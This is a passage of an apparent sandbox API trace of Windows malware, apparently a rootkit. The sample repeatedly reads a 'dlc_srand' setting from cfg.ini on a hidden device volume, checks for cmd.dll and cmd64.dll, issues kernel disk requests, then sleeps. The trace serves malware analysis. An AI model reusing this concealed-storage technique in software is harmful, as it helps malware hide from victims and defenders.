0xfffffa8003b863b0 [0129.891] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.891] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.891] IdePortDispatch () returned 0x103 [0129.891] KeWaitForMutexObject () returned 0x0 [0129.891] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.891] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.891] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.891] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.891] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.891] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c077d0 [0129.891] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.891] KeLeaveCriticalRegion () [0129.891] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.891] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.892] KeEnterCriticalRegion () [0129.892] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.892] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.892] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.892] KeLeaveCriticalRegion () [0129.892] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.892] KeEnterCriticalRegion () [0129.892] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.892] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.892] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.892] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.892] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.892] IdePortDispatch () returned 0x103 [0129.892] KeWaitForMutexObject () returned 0x0 [0129.892] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.892] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.892] KeLeaveCriticalRegion () [0129.892] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.892] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.892] KeEnterCriticalRegion () [0129.892] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.892] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ceb000 [0129.892] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.892] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.892] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.892] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.892] IdePortDispatch () returned 0x103 [0129.892] KeWaitForMutexObject () returned 0x0 [0129.894] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.894] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.894] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.894] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.894] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.894] IdePortDispatch () returned 0x103 [0129.894] KeWaitForMutexObject () returned 0x0 [0129.894] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.894] KeLeaveCriticalRegion () [0129.894] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.895] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.895] KeEnterCriticalRegion () [0129.895] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.895] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.895] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.895] KeLeaveCriticalRegion () [0129.895] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.895] KeEnterCriticalRegion () [0129.895] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.895] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.895] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.895] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.895] KeLeaveCriticalRegion () [0129.895] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.895] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.895] KeEnterCriticalRegion () [0129.895] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.895] ExFreePoolWithTag (P=0xfffffa8003c077d0, Tag=0x0) [0129.895] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.895] KeLeaveCriticalRegion () [0129.895] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.895] ReleaseMutex (hMutex=0xf0) returned 1 [0129.895] Sleep (dwMilliseconds=0x124f80) [0129.909] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.909] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.909] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.909] KeEnterCriticalRegion () [0129.909] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.909] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.909] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.909] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.909] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.909] IdePortDispatch () returned 0x103 [0129.909] KeWaitForMutexObject () returned 0x0 [0129.909] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.909] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.909] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.909] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.910] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.910] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c066e0 [0129.910] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.910] KeLeaveCriticalRegion () [0129.910] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.910] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.910] KeEnterCriticalRegion () [0129.910] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.910] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.910] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.910] KeLeaveCriticalRegion () [0129.910] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.910] KeEnterCriticalRegion () [0129.910] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.910] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.910] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.910] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.910] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.910] IdePortDispatch () returned 0x103 [0129.910] KeWaitForMutexObject () returned 0x0 [0129.910] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.910] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.910] KeLeaveCriticalRegion () [0129.910] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.910] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.910] KeEnterCriticalRegion () [0129.910] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.910] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cf0000 [0129.910] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.910] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.910] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.910] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.910] IdePortDispatch () returned 0x103 [0129.910] KeWaitForMutexObject () returned 0x0 [0129.911] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.911] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.911] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.911] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.911] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.911] IdePortDispatch () returned 0x103 [0129.911] KeWaitForMutexObject () returned 0x0 [0129.911] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.911] KeLeaveCriticalRegion () [0129.911] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.911] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.911] KeEnterCriticalRegion () [0129.911] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.911] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.911] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.911] KeLeaveCriticalRegion () [0129.912] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.912] KeEnterCriticalRegion () [0129.912] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.912] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.912] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c070f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.912] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.912] KeLeaveCriticalRegion () [0129.912] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.912] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.912] KeEnterCriticalRegion () [0129.912] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.912] ExFreePoolWithTag (P=0xfffffa8003c066e0, Tag=0x0) [0129.912] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.912] KeLeaveCriticalRegion () [0129.912] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.912] ReleaseMutex (hMutex=0xf0) returned 1 [0129.912] Sleep (dwMilliseconds=0x124f80) [0129.926] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.926] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.926] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.926] KeEnterCriticalRegion () [0129.926] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.926] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.926] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.926] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.926] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.926] IdePortDispatch () returned 0x103 [0129.926] KeWaitForMutexObject () returned 0x0 [0129.926] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.926] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.926] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.926] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.926] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.926] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c077d0 [0129.926] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.926] KeLeaveCriticalRegion () [0129.926] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.926] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.926] KeEnterCriticalRegion () [0129.926] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.926] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.926] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.926] KeLeaveCriticalRegion () [0129.927] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.927] KeEnterCriticalRegion () [0129.927] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.927] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.927] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.927] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.927] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.927] IdePortDispatch () returned 0x103 [0129.930] KeWaitForMutexObject () returned 0x0 [0129.930] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.930] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.930] KeLeaveCriticalRegion () [0129.930] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.930] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.930] KeEnterCriticalRegion () [0129.930] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.930] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cf5000 [0129.930] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.930] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.930] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.930] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.930] IdePortDispatch () returned 0x103 [0129.930] KeWaitForMutexObject () returned 0x0 [0129.931] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.931] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.931] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.931] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.931] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.931] IdePortDispatch () returned 0x103 [0129.931] KeWaitForMutexObject () returned 0x0 [0129.931] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.931] KeLeaveCriticalRegion () [0129.931] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.932] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.932] KeEnterCriticalRegion () [0129.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.932] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.932] KeLeaveCriticalRegion () [0129.932] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.932] KeEnterCriticalRegion () [0129.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.932] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.932] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.932] KeLeaveCriticalRegion () [0129.932] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.932] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.932] KeEnterCriticalRegion () [0129.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.932] ExFreePoolWithTag (P=0xfffffa8003c077d0, Tag=0x0) [0129.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.932] KeLeaveCriticalRegion () [0129.932] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.932] ReleaseMutex (hMutex=0xf0) returned 1 [0129.932] Sleep (dwMilliseconds=0x124f80) [0129.947] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.947] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.947] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.947] KeEnterCriticalRegion () [0129.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.947] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.947] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.947] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.947] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.947] IdePortDispatch () returned 0x103 [0129.947] KeWaitForMutexObject () returned 0x0 [0129.947] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.947] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.947] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.947] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.947] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.947] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c08fb0 [0129.947] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.947] KeLeaveCriticalRegion () [0129.947] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.947] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.947] KeEnterCriticalRegion () [0129.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.947] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.947] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.947] KeLeaveCriticalRegion () [0129.947] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.947] KeEnterCriticalRegion () [0129.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.947] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.947] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.947] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.947] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.947] IdePortDispatch () returned 0x103 [0129.948] KeWaitForMutexObject () returned 0x0 [0129.948] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 